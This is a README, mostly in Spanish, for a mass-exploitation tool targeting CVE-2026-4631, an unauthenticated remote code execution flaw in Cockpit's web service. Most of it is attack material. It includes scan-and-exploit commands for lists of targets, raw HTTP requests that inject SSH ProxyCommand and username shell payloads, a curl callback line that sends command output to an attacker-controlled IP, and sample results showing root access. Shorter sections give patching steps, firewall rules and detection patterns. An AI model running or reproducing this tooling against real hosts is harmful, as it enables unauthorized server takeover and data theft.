
Ejecución remota de código no autenticada mediante inyección de argumentos de línea de comandos SSH Versiones de Cockpit 327 – 359 | CVSS 9.8 Critical | CWE-78
Ejecución Remota de Código no Autenticada mediante Inyección de Argumentos en la Línea de Comandos SSH Versiones de Cockpit 327 – 359 | CVSS 9.8 Crítico | CWE-78
Herramienta de explotación masiva para CVE-2026-4631 en el servicio web Cockpit (cockpit-ws, puerto 9090). Soporta modo de escaneo de vulnerabilidad, modo RCE con captura de salida de comandos mediante un listener HTTP callback integrado, modo --auto (escanea y explota en una sola ejecución con el comando id por defecto), agregado automático del puerto :9090 para objetivos sin puerto, ambos vectores de ataque (ProxyCommand + inyección de username %r), objetivos masivos desde archivo, concurrencia con hilos y salida estructurada de resultados.
Autor: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Edite targets.txt — un host por línea. El puerto :9090 se agregará automáticamente si no está presente:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Escanea y explota en una sola ejecución, comando por defecto "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATACANTE>
# Ejemplo de salida en results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Solo escaneo de vulnerabilidad (sin explotar)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE explícito con comando personalizado
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATACANTE>
# Objetivo único
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATACANTE>
CVE-2026-4631 es un RCE ciego — la salida del comando no se devuelve en la respuesta HTTP. La herramienta utiliza un listener HTTP integrado (puerto por defecto 8888) para capturar la salida. Asegúrese de:
--callback-ip es una IP accesible desde el objetivo (no 127.0.0.1)8888 (o --listener-port personalizado)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verificar la versión (debe ser >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Edite /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Reinicie el servicio:
sudo systemctl restart cockpit
Restrinja el puerto 9090 solo a la red de administración:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Mitiga el Vector 1 (inyección ProxyCommand) mediante validación temprana del nombre de host:
ssh -V # debe ser OpenSSH_9.6 o superior
Si no se puede actualizar a la versión 360, aplique los commits del parche:
-- en beiboot.py y cockpitauth.c-- en session.pyDetalles del parche: consulte docs/PATCH_ANALYSIS.md
Cockpit v327 reemplazó cockpit-ssh (libssh) con python3 -m cockpit.beiboot, que invoca el cliente ssh de OpenSSH del sistema. La entrada controlada por el usuario — nombre de host de la ruta URL y nombre de usuario del encabezado Authorization: Basic — se pasa a ssh sin saneamiento y sin el separador -- de fin de opciones. La inyección ocurre antes de la verificación de credenciales, por lo que no se necesita un inicio de sesión válido.
El nombre de host de la ruta URL se inyecta con la opción SSH -oProxyCommand=<comando>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: objetivo:9090
Authorization: Basic base64("x:x")
SSH interpreta -oProxyCommand=<comando> como una opción y ejecuta <comando> como ProxyCommand. El comando se ejecuta como el proceso de usuario cockpit-ws.
Requisito previo: OpenSSH < 9.6 en el objetivo. OpenSSH 9.6+ tiene validación temprana del nombre de host que bloquea metacaracteres.
%r en el Nombre de Usuario (Secundario)El nombre de usuario del encabezado Authorization: Basic se inyecta con un comando de shell.
GET /cockpit+=legit-host/login HTTP/1.1
Host: objetivo:9090
Authorization: Basic base64("x; <CM D>; #:x")
SSH expande %r con el nombre de usuario en la directiva Match exec → el shell ejecuta el comando inyectado.
Requisito previo: el ssh_config del objetivo tiene una directiva Match exec con el token %r.
LoginTo) no está deshabilitadassh_config con Match exec %r# Clonar desde GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Instalar dependencias
pip install -r requirements.txt
# Verificar
python3 exploit.py --help
requests>=2.31 — Cliente HTTP para las solicitudes de exploitcolorama>=0.4 — Salida de terminal coloreadaNo hay dependencias adicionales para el listener (usa http.server + threading de la biblioteca estándar).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
optional arguments:
-h, --help show this help message and exit
-t, --target single target URL/host (port auto-added jika absent)
-f, --file file containing list of targets (one per line)
--default-port port yang di-append jika target tanpa port (default: 9090)
-c, --cmd command to execute (default: "id" pada mode --auto / RCE)
--scan vulnerability scan mode (no RCE, probe endpoint only)
--auto scan + exploit sekali jalan, command default "id"
--vector exploit vector: auto|proxycommand|username (default: auto)
-o, --output result output file (default: results.txt)
--callback-ip attacker IP reachable from target (for callback listener)
--listener-port callback listener port (default: 8888)
--threads concurrent workers (default: 10)
--timeout seconds to wait for callback per target (default: 10)
--delay delay between requests in seconds (default: 0)
--proxy HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
--user-agent custom User-Agent string
-v, --verbose verbose output (debug)
--no-color disable colored output
--scan)Sondea el endpoint /cockpit+=probe-host/login sin explotar. Detecta:
No envía payload malicioso, no necesita listener de callback.
-c "comando")Ejecuta un comando en el objetivo y captura la salida mediante callback:
curl para exfiltrarlo al listener-c, el comando por defecto es id--auto) — RecomendadoEscanea y explota en una sola pasada, comando por defecto id:
id (o -c si se especifica)host [ uid=0(root) ... ]--vector auto)Intenta primero con el Vector 1 (ProxyCommand). Si la respuesta muestra OpenSSH >= 9.6 (error de validación del nombre de host), cae en el Vector 2 (username %r).
Cada entrada en targets.txt sin puerto se le agrega :9090 automáticamente:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# Objetivo sin puerto → se agrega :9090 automáticamente, comando por defecto "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# Sobrescribir comando
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
Salida results.txt:
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
Salida scan_results.txt:
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t objetivo -c "id" --callback-ip 10.10.10.10
# equivalente: -t http://objetivo:9090/
Salida:
objetivo:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# Forzar Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# Forzar Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://objetivo:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
Formato del archivo de resultados: una línea por objetivo:
<host> [ <estado_o_salida> ]
El encabezado del archivo de resultados registra la fecha y hora, el comando, el vector y la cantidad de objetivos.
flowchart TD
CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
CLI --> Engine["core/engine.py<br/>orchestrator"]
Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
Pool --> Scanner["core/scanner.py<br/>vuln probe"]
Pool --> Exploit["core/exploit.py<br/>payload generator"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cockpit target :9090"]
Target -->|"blind RCE<br/>curl callback"| Listener
Listener --> Shared["shared dict<br/>REQID -> output"]
Engine --> Result["utils/result.py<br/>write results.txt"]
Shared --> Engine
-f archivo / -t url, normaliza (agrega http://, puerto por defecto 9090), deduplica--scan, sondea el endpoint, identifica Cockpit, infiere vulnerabilidadrequestsThreadingHTTPServer en --callback-ip:--listener-port, analiza ?id=REQID&out=BASE64, guarda en diccionario compartidohost [ output ]CVE-2026-4631-cockpit-RCE/
├── exploit.py # punto de entrada CLI
├── requirements.txt # dependencias
├── README.md # este documento
├── targets.txt # ejemplo de lista de objetivos
├── results.txt # salida (generada)
├── core/
│ ├── __init__.py
│ ├── target.py # analizador de objetivos
│ ├── scanner.py # modo de escaneo de vulnerabilidades
│ ├── exploit.py # generador y enviador de payloads
│ ├── listener.py # servidor HTTP de callback
│ └── engine.py # orquestador
├── utils/
│ ├── __init__.py
│ ├── banner.py # banner ASCII
│ └── result.py # escritor de resultados
└── docs/
├── VULN_ANALYSIS.md # análisis detallado de la vulnerabilidad
├── PATCH_ANALYSIS.md # análisis de los commits del parche
└── DETECTION.md # firmas de detección
CVE-2026-4631 es un RCE ciego — la salida del comando no se devuelve en la respuesta HTTP de Cockpit. La herramienta lo resuelve mediante un listener HTTP de callback integrado:
--callback-ip:--listener-portbash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
Authorization: Basic base64("x:x")
requests.get, verify=False para certificados autofirmadosresults[REQID] hasta el --timeouthost [ salida_decodificada ] en el archivo de salidaSi se agota el tiempo de espera sin callback, verifica el error SSH en la respuesta:
VULN - no callback (OpenSSH >= 9.6?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads) paralelo por objetivodict[REQID] -> target_host + dict[REQID] -> output con threading.LockThreadingHTTPServer maneja callbacks concurrentestry/except para errores de conexión, SSL, tiempo de esperaGET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Vigile:
-oProxyCommand= en la ruta URL;) en el valor decodificado de Authorization: Basicjournalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# Vulnerable: 327 <= version <= 359
Esta herramienta está diseñada para pruebas de penetración autorizadas, investigación en seguridad y validación de vulnerabilidades en sistemas que usted posea o para los cuales tenga permiso por escrito para realizar pruebas.
El uso de esta herramienta en sistemas sin el permiso explícito del propietario es ilegal y puede conllevar sanciones penales según las leyes aplicables.
El autor no se hace responsable del mal uso de esta herramienta. Úsela de manera ética y responsable.
Casos de uso autorizados:
Para fines de investigación y pruebas autorizadas. No para distribución comercial sin permiso.
| Campo | Detalle |
|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Gravedad | Crítico (CVSS 9.8) |
| CWE | CWE-78 — Inyección de Comandos del Sistema Operativo |
| Afectado | Cockpit 327 – 359 |
| Corregido en | Cockpit 360+ |
| Se requiere autenticación | NO (pre-autenticación) |
| Reportado por | Jelle van der Waa |
| Servicio | cockpit-ws, puerto por defecto 9090 |
| Estado | Significado |
|---|
uid=0(root) ... | RCE exitoso, salida del comando capturada |
VULN - no callback received (OpenSSH >= 9.6?) | Objetivo vulnerable pero el Vector 1 está bloqueado por OpenSSH 9.6+, probar Vector 2 |
VULN - endpoint active | Modo escaneo, se detectó endpoint vulnerable |
NOT VULN | Cockpit >= 360 o el endpoint no existe |
UNREACHABLE | Conexión fallida / tiempo de espera agotado |
ERROR: <msg> | Excepción durante la ejecución |
| Recurso | URL |
|---|
| Aviso de GitHub | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Divulgación OSS-Security | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Entrada NVD | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| Commit de corrección (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Commit de corrección (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| Error de argparse de CPython | https://github.com/python/cpython/issues/66623 |
| Validación de nombre de host en OpenSSH 9.6 | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| PoC de referencia | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |